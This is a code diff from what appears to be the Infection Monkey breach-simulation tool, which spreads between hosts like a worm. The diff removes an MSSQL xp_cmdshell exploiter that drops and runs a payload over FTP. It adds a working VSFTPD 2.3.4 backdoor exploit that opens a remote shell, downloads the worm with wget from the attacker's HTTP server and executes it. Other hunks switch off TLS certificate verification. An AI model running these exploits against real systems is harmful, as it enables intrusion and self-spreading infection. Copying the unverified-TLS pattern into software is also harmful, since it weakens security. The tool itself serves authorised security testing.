LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
|
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
|
||||||
'aborting brute force'.format(host, port))
|
'aborting brute force'.format(host, port))
|
||||||
return False
|
return None
|
||||||
|
|
|
@ -1,208 +0,0 @@
|
||||||
import os
|
|
||||||
import multiprocessing
|
|
||||||
import logging
|
|
||||||
|
|
||||||
import pymssql
|
|
||||||
|
|
||||||
from infection_monkey.exploit.tools import get_interface_to_target
|
|
||||||
from pyftpdlib.authorizers import DummyAuthorizer
|
|
||||||
from pyftpdlib.handlers import FTPHandler
|
|
||||||
from pyftpdlib.servers import FTPServer
|
|
||||||
from time import sleep
|
|
||||||
|
|
||||||
|
|
||||||
__author__ = 'Maor Rayzin'
|
|
||||||
|
|
||||||
|
|
||||||
FTP_SERVER_PORT = 1026
|
|
||||||
FTP_SERVER_ADDRESS = ''
|
|
||||||
FTP_SERVER_USER = 'brute'
|
|
||||||
FTP_SERVER_PASSWORD = 'force'
|
|
||||||
FTP_WORK_DIR_WINDOWS = os.path.expandvars(r'%TEMP%/')
|
|
||||||
FTP_WORK_DIR_LINUX = '/tmp/'
|
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
|
||||||
|
|
||||||
|
|
||||||
class FTP(object):
|
|
||||||
|
|
||||||
"""Configures and establish an FTP server with default details.
|
|
||||||
|
|
||||||
Args:
|
|
||||||
user (str): User for FTP server auth
|
|
||||||
password (str): Password for FTP server auth
|
|
||||||
working_dir (str): The local working dir to init the ftp server on.
|
|
||||||
"""
|
|
||||||
|
|
||||||
def __init__(self, host, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD):
|
|
||||||
"""Look at class level docstring."""
|
|
||||||
self.dst_ip = host.ip_addr
|
|
||||||
self.user = user
|
|
||||||
self.password = password
|
|
||||||
self.working_dir = FTP_WORK_DIR_LINUX if 'linux' in host.os['type'] else FTP_WORK_DIR_WINDOWS
|
|
||||||
|
|
||||||
def run_server(self):
|
|
||||||
|
|
||||||
""" Configures and runs the ftp server to listen forever until stopped.
|
|
||||||
"""
|
|
||||||
|
|
||||||
# Defining an authorizer and configuring the ftp user
|
|
||||||
authorizer = DummyAuthorizer()
|
|
||||||
authorizer.add_user(self.user, self.password, self.working_dir, perm='elr')
|
|
||||||
|
|
||||||
# Normal ftp handler
|
|
||||||
handler = FTPHandler
|
|
||||||
handler.authorizer = authorizer
|
|
||||||
|
|
||||||
address = (get_interface_to_target(self.dst_ip), FTP_SERVER_PORT)
|
|
||||||
|
|
||||||
# Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword
|
|
||||||
self.server = FTPServer(address, handler)
|
|
||||||
|
|
||||||
# Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I
|
|
||||||
# multiproccess is being used here.
|
|
||||||
self.server.serve_forever()
|
|
||||||
|
|
||||||
def stop_server(self):
|
|
||||||
# Stops the FTP server and closing all connections.
|
|
||||||
self.server.close_all()
|
|
||||||
|
|
||||||
|
|
||||||
class AttackHost(object):
|
|
||||||
"""
|
|
||||||
This class acts as an interface for the attacking methods class
|
|
||||||
|
|
||||||
Args:
|
|
||||||
payload_path (str): The local path of the payload file
|
|
||||||
"""
|
|
||||||
|
|
||||||
def __init__(self, payload_path):
|
|
||||||
self.payload_path = payload_path
|
|
||||||
|
|
||||||
def send_payload(self):
|
|
||||||
raise NotImplementedError("Send function not implemented")
|
|
||||||
|
|
||||||
def execute_payload(self):
|
|
||||||
raise NotImplementedError("execute function not implemented")
|
|
||||||
|
|
||||||
|
|
||||||
class CmdShellAttack(AttackHost):
|
|
||||||
|
|
||||||
"""
|
|
||||||
This class uses the xp_cmdshell command execution and will work only if its available on the remote host.
|
|
||||||
|
|
||||||
Args:
|
|
||||||
payload_path (str): The local path of the payload file
|
|
||||||
cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with.
|
|
||||||
host (model.host.VictimHost): Host this attack is going to target
|
|
||||||
|
|
||||||
"""
|
|
||||||
|
|
||||||
def __init__(self, payload_path, cursor, host):
|
|
||||||
super(CmdShellAttack, self).__init__(payload_path)
|
|
||||||
self.ftp_server, self.ftp_server_p = self.__init_ftp_server(host)
|
|
||||||
self.cursor = cursor
|
|
||||||
self.attacker_ip = get_interface_to_target(host.ip_addr)
|
|
||||||
|
|
||||||
def send_payload(self):
|
|
||||||
"""
|
|
||||||
Sets up an FTP server and using it to download the payload to the remote host
|
|
||||||
|
|
||||||
Return:
|
|
||||||
True if payload sent False if not.
|
|
||||||
"""
|
|
||||||
|
|
||||||
# Sets up the cmds to run
|
|
||||||
shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \
|
|
||||||
echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER)
|
|
||||||
shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD)
|
|
||||||
shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\
|
|
||||||
.format(self.payload_path)
|
|
||||||
shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """
|
|
||||||
shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4]
|
|
||||||
|
|
||||||
# Checking to see if ftp server is up
|
|
||||||
if self.ftp_server_p and self.ftp_server:
|
|
||||||
try:
|
|
||||||
# Running the cmd on remote host
|
|
||||||
for cmd in shellcmds:
|
|
||||||
self.cursor.execute(cmd)
|
|
||||||
sleep(0.5)
|
|
||||||
except Exception as e:
|
|
||||||
LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True)
|
|
||||||
self.ftp_server_p.terminate()
|
|
||||||
return False
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
LOG.error("Couldn't establish an FTP server for the dropout")
|
|
||||||
return False
|
|
||||||
|
|
||||||
def execute_payload(self):
|
|
||||||
|
|
||||||
"""
|
|
||||||
Executes the payload after ftp drop
|
|
||||||
|
|
||||||
Return:
|
|
||||||
True if payload was executed successfully, False if not.
|
|
||||||
"""
|
|
||||||
|
|
||||||
# Getting the payload's file name
|
|
||||||
payload_file_name = os.path.split(self.payload_path)[1]
|
|
||||||
|
|
||||||
# Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error.
|
|
||||||
shellcmd = """DECLARE @i INT \
|
|
||||||
EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \
|
|
||||||
SELECT @i """.format(payload_file_name)
|
|
||||||
|
|
||||||
try:
|
|
||||||
# Executing payload on remote host
|
|
||||||
LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name))
|
|
||||||
self.cursor.execute(shellcmd)
|
|
||||||
if self.cursor.fetchall()[0][0] == 0:
|
|
||||||
# Success
|
|
||||||
self.ftp_server_p.terminate()
|
|
||||||
LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name))
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name))
|
|
||||||
self.ftp_server_p.terminate()
|
|
||||||
return False
|
|
||||||
|
|
||||||
except pymssql.OperationalError as e:
|
|
||||||
LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True)
|
|
||||||
self.ftp_server_p.terminate()
|
|
||||||
return False
|
|
||||||
|
|
||||||
def cleanup_files(self):
|
|
||||||
"""
|
|
||||||
Cleans up the folder with the attack related files (C:\\tmp by default)
|
|
||||||
:return: True or False if command executed or not.
|
|
||||||
"""
|
|
||||||
cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """
|
|
||||||
try:
|
|
||||||
self.cursor.execute(cleanup_command)
|
|
||||||
LOG.info('Attack files cleanup command has been sent.')
|
|
||||||
return True
|
|
||||||
except Exception as e:
|
|
||||||
LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True)
|
|
||||||
return False
|
|
||||||
|
|
||||||
def __init_ftp_server(self, host):
|
|
||||||
"""
|
|
||||||
Init an FTP server using FTP class on a different process
|
|
||||||
|
|
||||||
Return:
|
|
||||||
ftp_s: FTP server object
|
|
||||||
p: the process obj of the FTP object
|
|
||||||
"""
|
|
||||||
|
|
||||||
try:
|
|
||||||
ftp_s = FTP(host)
|
|
||||||
multiprocessing.log_to_stderr(logging.DEBUG)
|
|
||||||
p = multiprocessing.Process(target=ftp_s.run_server)
|
|
||||||
p.start()
|
|
||||||
LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name))
|
|
||||||
return ftp_s, p
|
|
||||||
except Exception as e:
|
|
||||||
LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True)
|
|
||||||
return None, None
|
|
|
@ -7,6 +7,7 @@ import urllib2
|
||||||
import httplib
|
import httplib
|
||||||
import unicodedata
|
import unicodedata
|
||||||
import re
|
import re
|
||||||
|
import ssl
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
from infection_monkey.exploit.web_rce import WebRCE
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
|
@ -48,7 +49,7 @@ class Struts2Exploiter(WebRCE):
|
||||||
headers = {'User-Agent': 'Mozilla/5.0'}
|
headers = {'User-Agent': 'Mozilla/5.0'}
|
||||||
request = urllib2.Request(url, headers=headers)
|
request = urllib2.Request(url, headers=headers)
|
||||||
try:
|
try:
|
||||||
return urllib2.urlopen(request).geturl()
|
return urllib2.urlopen(request, context=ssl._create_unverified_context()).geturl()
|
||||||
except urllib2.URLError:
|
except urllib2.URLError:
|
||||||
LOG.error("Can't reach struts2 server")
|
LOG.error("Can't reach struts2 server")
|
||||||
return False
|
return False
|
||||||
|
|
|
@ -0,0 +1,149 @@
|
||||||
|
"""
|
||||||
|
Implementation is based on VSFTPD v2.3.4 Backdoor Command Execution exploit by metasploit
|
||||||
|
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|
||||||
|
only vulnerable version is "2.3.4"
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
import StringIO
|
||||||
|
import logging
|
||||||
|
import paramiko
|
||||||
|
import socket
|
||||||
|
import time
|
||||||
|
from common.utils.exploit_enum import ExploitType
|
||||||
|
from infection_monkey.exploit import HostExploiter
|
||||||
|
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||||
|
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
|
||||||
|
from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
|
||||||
|
from infection_monkey.network.tools import check_tcp_port
|
||||||
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
|
from logging import getLogger
|
||||||
|
|
||||||
|
LOG = getLogger(__name__)
|
||||||
|
|
||||||
|
__author__ = 'D3fa1t'
|
||||||
|
|
||||||
|
FTP_PORT = 21 # port at which vsftpd runs
|
||||||
|
BACKDOOR_PORT = 6200 # backdoor port
|
||||||
|
RECV_128 = 128 # In Bytes
|
||||||
|
UNAME_M = "uname -m"
|
||||||
|
ULIMIT_V = "ulimit -v " # To increase the memory limit
|
||||||
|
UNLIMITED = "unlimited;"
|
||||||
|
USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor
|
||||||
|
PASSWORD = b'PASS please' # Ftp Password
|
||||||
|
FTP_TIME_BUFFER = 1 # In seconds
|
||||||
|
|
||||||
|
class VSFTPDExploiter(HostExploiter):
|
||||||
|
_TARGET_OS_TYPE = ['linux']
|
||||||
|
|
||||||
|
def __init__ (self, host):
|
||||||
|
self._update_timestamp = 0
|
||||||
|
super(VSFTPDExploiter, self).__init__(host)
|
||||||
|
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||||
|
|
||||||
|
def socket_connect(self, s, ip_addr, port):
|
||||||
|
try:
|
||||||
|
s.connect((ip_addr, port))
|
||||||
|
return True
|
||||||
|
except socket.error as e:
|
||||||
|
LOG.error('Failed to connect to %s', self.host.ip_addr)
|
||||||
|
return False
|
||||||
|
|
||||||
|
def socket_send_recv(self, s, message):
|
||||||
|
try:
|
||||||
|
s.send(message)
|
||||||
|
return s.recv(RECV_128).decode('utf-8')
|
||||||
|
except socket.error as e:
|
||||||
|
LOG.error('Failed to send payload to %s', self.host.ip_addr)
|
||||||
|
return False
|
||||||
|
|
||||||
|
def socket_send(self, s, message):
|
||||||
|
try:
|
||||||
|
s.send(message)
|
||||||
|
return True
|
||||||
|
except socket.error as e:
|
||||||
|
LOG.error('Failed to send payload to %s', self.host.ip_addr)
|
||||||
|
return False
|
||||||
|
|
||||||
|
def exploit_host(self):
|
||||||
|
LOG.info("Attempting to trigger the Backdoor..")
|
||||||
|
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
|
||||||
|
if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
|
||||||
|
ftp_socket.recv(RECV_128).decode('utf-8')
|
||||||
|
|
||||||
|
if self.socket_send_recv(ftp_socket, USERNAME + '\n'):
|
||||||
|
time.sleep(FTP_TIME_BUFFER)
|
||||||
|
self.socket_send(ftp_socket, PASSWORD + '\n')
|
||||||
|
ftp_socket.close()
|
||||||
|
LOG.info('Backdoor Enabled, Now we can run commands')
|
||||||
|
else:
|
||||||
|
LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr)
|
||||||
|
return False
|
||||||
|
|
||||||
|
LOG.info('Attempting to connect to backdoor...')
|
||||||
|
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
|
||||||
|
if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
|
||||||
|
LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr)
|
||||||
|
|
||||||
|
uname_m = str.encode(UNAME_M + '\n')
|
||||||
|
response = self.socket_send_recv(backdoor_socket, uname_m)
|
||||||
|
|
||||||
|
if response:
|
||||||
|
LOG.info('Response for uname -m: %s', response)
|
||||||
|
if '' != response.lower().strip():
|
||||||
|
# command execution is successful
|
||||||
|
self.host.os['machine'] = response.lower().strip()
|
||||||
|
self.host.os['type'] = 'linux'
|
||||||
|
else :
|
||||||
|
LOG.info("Failed to execute command uname -m on victim %r ", self.host)
|
||||||
|
|
||||||
|
src_path = get_target_monkey(self.host)
|
||||||
|
LOG.info("src for suitable monkey executable for host %r is %s", self.host, src_path)
|
||||||
|
|
||||||
|
if not src_path:
|
||||||
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Create a http server to host the monkey
|
||||||
|
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
|
||||||
|
dropper_target_path_linux = self._config.dropper_target_path_linux
|
||||||
|
LOG.info("Download link for monkey is %s", http_path)
|
||||||
|
|
||||||
|
# Upload the monkey to the machine
|
||||||
|
monkey_path = dropper_target_path_linux
|
||||||
|
download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path}
|
||||||
|
download_command = str.encode(str(download_command) + '\n')
|
||||||
|
LOG.info("Download command is %s", download_command)
|
||||||
|
if self.socket_send(backdoor_socket, download_command):
|
||||||
|
LOG.info('Monkey is now Downloaded ')
|
||||||
|
else:
|
||||||
|
LOG.error('Failed to download monkey at %s', self.host.ip_addr)
|
||||||
|
return False
|
||||||
|
|
||||||
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||||
|
http_thread.stop()
|
||||||
|
|
||||||
|
# Change permissions
|
||||||
|
change_permission = CHMOD_MONKEY % {'monkey_path': monkey_path}
|
||||||
|
change_permission = str.encode(str(change_permission) + '\n')
|
||||||
|
LOG.info("change_permission command is %s", change_permission)
|
||||||
|
backdoor_socket.send(change_permission)
|
||||||
|
|
||||||
|
# Run monkey on the machine
|
||||||
|
parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
|
run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
|
||||||
|
|
||||||
|
# Set unlimited to memory
|
||||||
|
run_monkey = ULIMIT_V + UNLIMITED + run_monkey # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
|
||||||
|
run_monkey = str.encode(str(run_monkey) + '\n')
|
||||||
|
time.sleep(FTP_TIME_BUFFER)
|
||||||
|
if backdoor_socket.send(run_monkey):
|
||||||
|
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey)
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -15,7 +15,7 @@ __author__ = 'VakarisZ'
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
# Command used to check if monkeys already exists
|
# Command used to check if monkeys already exists
|
||||||
LOOK_FOR_FILE = "ls %s"
|
LOOK_FOR_FILE = "ls %s"
|
||||||
POWERSHELL_NOT_FOUND = "owershell is not recognized"
|
POWERSHELL_NOT_FOUND = "powershell is not recognized"
|
||||||
# Constants used to refer to windows architectures( used in host.os['machine'])
|
# Constants used to refer to windows architectures( used in host.os['machine'])
|
||||||
WIN_ARCH_32 = "32"
|
WIN_ARCH_32 = "32"
|
||||||
WIN_ARCH_64 = "64"
|
WIN_ARCH_64 = "64"
|
||||||
|
@ -253,7 +253,7 @@ class WebRCE(HostExploiter):
|
||||||
if 'No such file' in resp:
|
if 'No such file' in resp:
|
||||||
return False
|
return False
|
||||||
else:
|
else:
|
||||||
LOG.info("Host %s was already infected under the current configuration, done" % host)
|
LOG.info("Host %s was already infected under the current configuration, done" % str(host))
|
||||||
return True
|
return True
|
||||||
|
|
||||||
def check_remote_files(self, url):
|
def check_remote_files(self, url):
|
||||||
|
@ -281,7 +281,7 @@ class WebRCE(HostExploiter):
|
||||||
"""
|
"""
|
||||||
ports = self.get_open_service_ports(ports, names)
|
ports = self.get_open_service_ports(ports, names)
|
||||||
if not ports:
|
if not ports:
|
||||||
LOG.info("All default web ports are closed on %r, skipping", host)
|
LOG.info("All default web ports are closed on %r, skipping", str(host))
|
||||||
return False
|
return False
|
||||||
else:
|
else:
|
||||||
return ports
|
return ports
|
||||||
|
|
|
@ -5,7 +5,7 @@
|
||||||
# Luffin from Github
|
# Luffin from Github
|
||||||
# https://github.com/Luffin/CVE-2017-10271
|
# https://github.com/Luffin/CVE-2017-10271
|
||||||
# CVE: CVE-2017-10271
|
# CVE: CVE-2017-10271
|
||||||
|
from __future__ import print_function
|
||||||
from requests import post, exceptions
|
from requests import post, exceptions
|
||||||
from infection_monkey.exploit.web_rce import WebRCE
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
|
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
|
||||||
|
|
|
@ -13,6 +13,7 @@ from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE
|
||||||
from infection_monkey.dropper import MonkeyDrops
|
from infection_monkey.dropper import MonkeyDrops
|
||||||
from infection_monkey.model import MONKEY_ARG, DROPPER_ARG
|
from infection_monkey.model import MONKEY_ARG, DROPPER_ARG
|
||||||
from infection_monkey.monkey import InfectionMonkey
|
from infection_monkey.monkey import InfectionMonkey
|
||||||
|
# noinspection PyUnresolvedReferences
|
||||||
import infection_monkey.post_breach # dummy import for pyinstaller
|
import infection_monkey.post_breach # dummy import for pyinstaller
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
@ -70,7 +71,8 @@ def main():
|
||||||
print("Loaded Configuration: %r" % WormConfiguration.as_dict())
|
print("Loaded Configuration: %r" % WormConfiguration.as_dict())
|
||||||
|
|
||||||
# Make sure we're not in a machine that has the kill file
|
# Make sure we're not in a machine that has the kill file
|
||||||
kill_path = os.path.expandvars(WormConfiguration.kill_file_path_windows) if sys.platform == "win32" else WormConfiguration.kill_file_path_linux
|
kill_path = os.path.expandvars(
|
||||||
|
WormConfiguration.kill_file_path_windows) if sys.platform == "win32" else WormConfiguration.kill_file_path_linux
|
||||||
if os.path.exists(kill_path):
|
if os.path.exists(kill_path):
|
||||||
print("Kill path found, finished run")
|
print("Kill path found, finished run")
|
||||||
return True
|
return True
|
||||||
|
|
|
@ -19,6 +19,7 @@ from infection_monkey.windows_upgrader import WindowsUpgrader
|
||||||
from infection_monkey.post_breach.post_breach_handler import PostBreach
|
from infection_monkey.post_breach.post_breach_handler import PostBreach
|
||||||
from common.utils.attack_utils import ScanStatus
|
from common.utils.attack_utils import ScanStatus
|
||||||
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
|
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
|
||||||
|
from infection_monkey.exploit.tools import get_interface_to_target
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
@ -39,6 +40,7 @@ class InfectionMonkey(object):
|
||||||
self._exploiters = None
|
self._exploiters = None
|
||||||
self._fingerprint = None
|
self._fingerprint = None
|
||||||
self._default_server = None
|
self._default_server = None
|
||||||
|
self._default_server_port = None
|
||||||
self._depth = 0
|
self._depth = 0
|
||||||
self._opts = None
|
self._opts = None
|
||||||
self._upgrading_to_64 = False
|
self._upgrading_to_64 = False
|
||||||
|
@ -59,6 +61,10 @@ class InfectionMonkey(object):
|
||||||
self._parent = self._opts.parent
|
self._parent = self._opts.parent
|
||||||
self._default_tunnel = self._opts.tunnel
|
self._default_tunnel = self._opts.tunnel
|
||||||
self._default_server = self._opts.server
|
self._default_server = self._opts.server
|
||||||
|
try:
|
||||||
|
self._default_server_port = self._default_server.split(':')[1]
|
||||||
|
except KeyError:
|
||||||
|
self._default_server_port = ''
|
||||||
if self._opts.depth:
|
if self._opts.depth:
|
||||||
WormConfiguration._depth_from_commandline = True
|
WormConfiguration._depth_from_commandline = True
|
||||||
self._keep_running = True
|
self._keep_running = True
|
||||||
|
@ -172,8 +178,9 @@ class InfectionMonkey(object):
|
||||||
if monkey_tunnel:
|
if monkey_tunnel:
|
||||||
monkey_tunnel.set_tunnel_for_host(machine)
|
monkey_tunnel.set_tunnel_for_host(machine)
|
||||||
if self._default_server:
|
if self._default_server:
|
||||||
|
machine.set_default_server(get_interface_to_target(machine.ip_addr) +
|
||||||
|
(':'+self._default_server_port if self._default_server_port else ''))
|
||||||
LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
|
LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
|
||||||
machine.set_default_server(self._default_server)
|
|
||||||
|
|
||||||
# Order exploits according to their type
|
# Order exploits according to their type
|
||||||
if WormConfiguration.should_exploit:
|
if WormConfiguration.should_exploit:
|
||||||
|
|
|
@ -8,6 +8,10 @@ import itertools
|
||||||
import netifaces
|
import netifaces
|
||||||
from subprocess import check_output
|
from subprocess import check_output
|
||||||
from random import randint
|
from random import randint
|
||||||
|
|
||||||
|
import requests
|
||||||
|
from requests import ConnectionError
|
||||||
|
|
||||||
from common.network.network_range import CidrRange
|
from common.network.network_range import CidrRange
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
@ -16,6 +20,10 @@ except NameError:
|
||||||
long = int # Python 3
|
long = int # Python 3
|
||||||
|
|
||||||
|
|
||||||
|
# Timeout for monkey connections
|
||||||
|
TIMEOUT = 15
|
||||||
|
|
||||||
|
|
||||||
def get_host_subnets():
|
def get_host_subnets():
|
||||||
"""
|
"""
|
||||||
Returns a list of subnets visible to host (omitting loopback and auto conf networks)
|
Returns a list of subnets visible to host (omitting loopback and auto conf networks)
|
||||||
|
@ -124,14 +132,18 @@ def get_free_tcp_port(min_range=1000, max_range=65535):
|
||||||
|
|
||||||
def check_internet_access(services):
|
def check_internet_access(services):
|
||||||
"""
|
"""
|
||||||
Checks if any of the services are accessible, over ICMP
|
Checks if any of the services are accessible, over HTTPS
|
||||||
:param services: List of IPs/hostnames
|
:param services: List of IPs/hostnames
|
||||||
:return: boolean depending on internet access
|
:return: boolean depending on internet access
|
||||||
"""
|
"""
|
||||||
ping_str = "-n 1" if sys.platform.startswith("win") else "-c 1"
|
|
||||||
for host in services:
|
for host in services:
|
||||||
if os.system("ping " + ping_str + " " + host) == 0:
|
try:
|
||||||
|
requests.get("https://%s" % (host,), timeout=TIMEOUT, verify=False)
|
||||||
return True
|
return True
|
||||||
|
except ConnectionError:
|
||||||
|
# Failed connecting
|
||||||
|
pass
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -170,6 +170,8 @@ class HTTPServer(threading.Thread):
|
||||||
def report_download(dest=None):
|
def report_download(dest=None):
|
||||||
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
|
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
|
||||||
self.downloads += 1
|
self.downloads += 1
|
||||||
|
if not self.downloads < self.max_downloads:
|
||||||
|
self.close_connection = 1
|
||||||
|
|
||||||
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
|
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
|
||||||
httpd.timeout = 0.5 # this is irrelevant?
|
httpd.timeout = 0.5 # this is irrelevant?
|
||||||
|
@ -214,6 +216,8 @@ class LockedHTTPServer(threading.Thread):
|
||||||
def report_download(dest=None):
|
def report_download(dest=None):
|
||||||
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
|
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
|
||||||
self.downloads += 1
|
self.downloads += 1
|
||||||
|
if not self.downloads < self.max_downloads:
|
||||||
|
self.close_connection = 1
|
||||||
|
|
||||||
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
|
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
|
||||||
self.lock.release()
|
self.lock.release()
|
||||||
|
|
|
@ -2,7 +2,6 @@ import logging
|
||||||
import socket
|
import socket
|
||||||
import struct
|
import struct
|
||||||
import time
|
import time
|
||||||
from difflib import get_close_matches
|
|
||||||
from threading import Thread
|
from threading import Thread
|
||||||
|
|
||||||
from infection_monkey.model import VictimHost
|
from infection_monkey.model import VictimHost
|
||||||
|
@ -10,6 +9,7 @@ from infection_monkey.network.firewall import app as firewall
|
||||||
from infection_monkey.network.info import local_ips, get_free_tcp_port
|
from infection_monkey.network.info import local_ips, get_free_tcp_port
|
||||||
from infection_monkey.network.tools import check_tcp_port
|
from infection_monkey.network.tools import check_tcp_port
|
||||||
from infection_monkey.transport.base import get_last_serve_time
|
from infection_monkey.transport.base import get_last_serve_time
|
||||||
|
from infection_monkey.exploit.tools import get_interface_to_target
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
|
@ -148,9 +148,9 @@ class MonkeyTunnel(Thread):
|
||||||
try:
|
try:
|
||||||
search, address = self._broad_sock.recvfrom(BUFFER_READ)
|
search, address = self._broad_sock.recvfrom(BUFFER_READ)
|
||||||
if '?' == search:
|
if '?' == search:
|
||||||
ip_match = get_close_matches(address[0], self.l_ips) or self.l_ips
|
ip_match = get_interface_to_target(address[0])
|
||||||
if ip_match:
|
if ip_match:
|
||||||
answer = '%s:%d' % (ip_match[0], self.local_port)
|
answer = '%s:%d' % (ip_match, self.local_port)
|
||||||
LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
|
LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
|
||||||
self._broad_sock.sendto(answer, (address[0], MCAST_PORT))
|
self._broad_sock.sendto(answer, (address[0], MCAST_PORT))
|
||||||
elif '+' == search:
|
elif '+' == search:
|
||||||
|
@ -187,8 +187,8 @@ class MonkeyTunnel(Thread):
|
||||||
if not self.local_port:
|
if not self.local_port:
|
||||||
return
|
return
|
||||||
|
|
||||||
ip_match = get_close_matches(host.ip_addr, local_ips()) or self.l_ips
|
ip_match = get_interface_to_target(host.ip_addr)
|
||||||
host.default_tunnel = '%s:%d' % (ip_match[0], self.local_port)
|
host.default_tunnel = '%s:%d' % (ip_match, self.local_port)
|
||||||
|
|
||||||
def stop(self):
|
def stop(self):
|
||||||
self._stopped = True
|
self._stopped = True
|
||||||
|
|
|
@ -37,8 +37,8 @@ class WindowsUpgrader(object):
|
||||||
with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
|
with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
|
||||||
with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file:
|
with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file:
|
||||||
shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
|
shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
|
||||||
except (IOError, AttributeError):
|
except (IOError, AttributeError) as e:
|
||||||
LOG.error("Failed to download the Monkey to the target path.")
|
LOG.error("Failed to download the Monkey to the target path: %s." % e)
|
||||||
return
|
return
|
||||||
|
|
||||||
monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth)
|
monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth)
|
||||||
|
|
|
@ -28,8 +28,10 @@ from monkey_island.cc.resources.root import Root
|
||||||
from monkey_island.cc.resources.telemetry import Telemetry
|
from monkey_island.cc.resources.telemetry import Telemetry
|
||||||
